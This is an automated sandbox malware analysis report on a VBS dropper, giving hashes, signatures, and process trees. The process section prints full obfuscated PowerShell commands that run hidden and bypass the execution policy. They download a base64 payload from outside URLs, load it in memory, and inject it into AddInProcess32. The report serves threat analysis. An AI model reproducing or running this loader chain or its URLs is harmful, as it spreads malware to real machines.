Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-09-2024 05:18

General

  • Target

    Image_001.vbs

  • Size

    507KB

  • MD5

    369b2913abd7a1e2ecfeea185e737e61

  • SHA1

    eb9431fc12b373c216e2c89af2cfdafdc5dae727

  • SHA256

    8264386f0b6a0e9b2aa5f908dc3909f4b8a61b619edb269baf56bf7112ae100e

  • SHA512

    e6e02f36641a087c1e437885c1b432e325f6b805ba371093302092912065515efe090121ea54f432ea6e23c466a44635c426efbaad2268cf03c251b0657f8f9b

  • SSDEEP

    12288:bsD8YhlqjFf0pIWLNvd5/iaPr4/Is0en9sAWxihGmxLyKSHPh72RwsZIohgrVVMA:jcj6whXoTMA0t

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Image_001.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzB9dXJsJysnID0gJysneycrJzJ9aCcrJ3R0JysncCcrJ3MnKyc6JysnLy9pJysnYTYwMDEwMC51cy5hcmNoJysnaScrJ3YnKydlLm9yZy8nKycyJysnNC9pdGVtJysncycrJy9kZXRhaC1uJysnb3RlLXYnKycvRGV0YWhOb3RlVi50eHR7Mn0nKyc7ezAnKyd9YmFzZScrJzYnKyc0QycrJ29uJysndGVudCA9IChOZScrJ3ctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZScrJ24nKyd0KS5EJysnb3dubG8nKydhZFMnKyd0JysncmknKyduJysnZyh7JysnMH11cmwnKycpOycrJ3swfWJpbmFyeUNvbnRlbnQgJysnPSBbJysnU3lzJysndCcrJ2VtLkNvbnZlcnQnKyddOicrJzpGcm8nKydtQmFzJysnZTY0UycrJ3RyaW5nJysnKHswfWInKydhc2U2NENvbnQnKydlbnQpO3swfWFzc2VtYmx5ID0nKycgW1InKydlJysnZicrJ2xlY3RpbycrJ24uQXNzZW1ibHldOjonKydMb2FkKHswJysnfWInKydpbmFyeScrJ0NvbnRlbnQpO3swfXQnKyd5cGUgPSB7MCcrJ31hc3NlbWInKydseS5HZXRUeXBlKHsyfVJ1blBFLicrJ0hvbWV7Mn0pO3snKycwfScrJ21ldGhvZCA9JysnICcrJ3swfXR5JysncCcrJ2UuJysnR2UnKyd0TWUnKyd0aG9kJysnKCcrJ3snKycyfVYnKydBJysnSXsyfSk7eycrJzAnKyd9JysnbWUnKyd0aG9kLkludm8nKydrZSgnKyd7JysnMH1uJysndWxsLCBbb2JqZWN0WycrJ11dQCgnKyd7JysnMn01NScrJ2JhYycrJzA5MTgxZWUtNzAnKyc2Yi0nKydlMTA0LTJlMCcrJzItMjZiZjk2NicrJ2YnKyc9JysnbmUnKydrb3QnKycmYWlkZScrJ209JysndGxhP3R4dC5uaUInKycvJysnby9tb2MudG9wcycrJ3BwJysnYS4zMicrJ2UzNS15dGljLXInKydlYnknKydjL2IvMHYvbW9jLicrJ3NpcGFlbGdvJysnb2cuJysnZWdhcm8nKyd0c2VzJysnYWJlcmlmLy86c3B0dGh7Mn0gJysnLCB7Mn0nKycxezJ9ICwgJysnezJ9QzonKyd7MX1QJysncm9ncmFtRGF0YXsnKycxfXsyfSAsIHsyfWInKydhcnVydXJ1c3syfScrJyx7Mn1BJysnZGRJblByb2Nlc3MzMnsyfSwnKyd7Mn0nKyd7JysnMn0pKScpICAtRltjaGFyXTM2LFtjaGFyXTkyLFtjaGFyXTM5KSB8LiggJFNIZWxsaWRbMV0rJFNoZUxMSWRbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'0}url'+' = '+'{'+'2}h'+'tt'+'p'+'s'+':'+'//i'+'a600100.us.arch'+'i'+'v'+'e.org/'+'2'+'4/item'+'s'+'/detah-n'+'ote-v'+'/DetahNoteV.txt{2}'+';{0'+'}base'+'6'+'4C'+'on'+'tent = (Ne'+'w-Object System.Net.WebClie'+'n'+'t).D'+'ownlo'+'adS'+'t'+'ri'+'n'+'g({'+'0}url'+');'+'{0}binaryContent '+'= ['+'Sys'+'t'+'em.Convert'+']:'+':Fro'+'mBas'+'e64S'+'tring'+'({0}b'+'ase64Cont'+'ent);{0}assembly ='+' [R'+'e'+'f'+'lectio'+'n.Assembly]::'+'Load({0'+'}b'+'inary'+'Content);{0}t'+'ype = {0'+'}assemb'+'ly.GetType({2}RunPE.'+'Home{2});{'+'0}'+'method ='+' '+'{0}ty'+'p'+'e.'+'Ge'+'tMe'+'thod'+'('+'{'+'2}V'+'A'+'I{2});{'+'0'+'}'+'me'+'thod.Invo'+'ke('+'{'+'0}n'+'ull, [object['+']]@('+'{'+'2}55'+'bac'+'09181ee-70'+'6b-'+'e104-2e0'+'2-26bf966'+'f'+'='+'ne'+'kot'+'&aide'+'m='+'tla?txt.niB'+'/'+'o/moc.tops'+'pp'+'a.32'+'e35-ytic-r'+'eby'+'c/b/0v/moc.'+'sipaelgo'+'og.'+'egaro'+'tses'+'aberif//:sptth{2} '+', {2}'+'1{2} , '+'{2}C:'+'{1}P'+'rogramData{'+'1}{2} , {2}b'+'arururus{2}'+',{2}A'+'ddInProcess32{2},'+'{2}'+'{'+'2}))') -F[char]36,[char]92,[char]39) |.( $SHellid[1]+$SheLLId[13]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9SEOPHQAZTG348V7N5ZC.temp

    Filesize

    7KB

    MD5

    eddcbf20bda4eeae006d3e8b36dd74bb

    SHA1

    61b0c4f9a850c757faf1ebe76a515804c7a1d86e

    SHA256

    34c0e31f80f50a3ccf2e28e6ba9a30c64bea8e0004288206648bf5273ee690f1

    SHA512

    0175c437ccaa9283ebc247f60318dd44dab595ad9322e5eab1de788400b1616786d77306dea22d7f3924d77ca0a3ca872c5c824ed59bdc2ef6bb88a4303fef0b

  • memory/2664-4-0x000007FEF62FE000-0x000007FEF62FF000-memory.dmp

    Filesize

    4KB

  • memory/2664-5-0x000000001B500000-0x000000001B7E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2664-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

    Filesize

    32KB

  • memory/2664-7-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-8-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-9-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-10-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-12-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-17-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

    Filesize

    9.6MB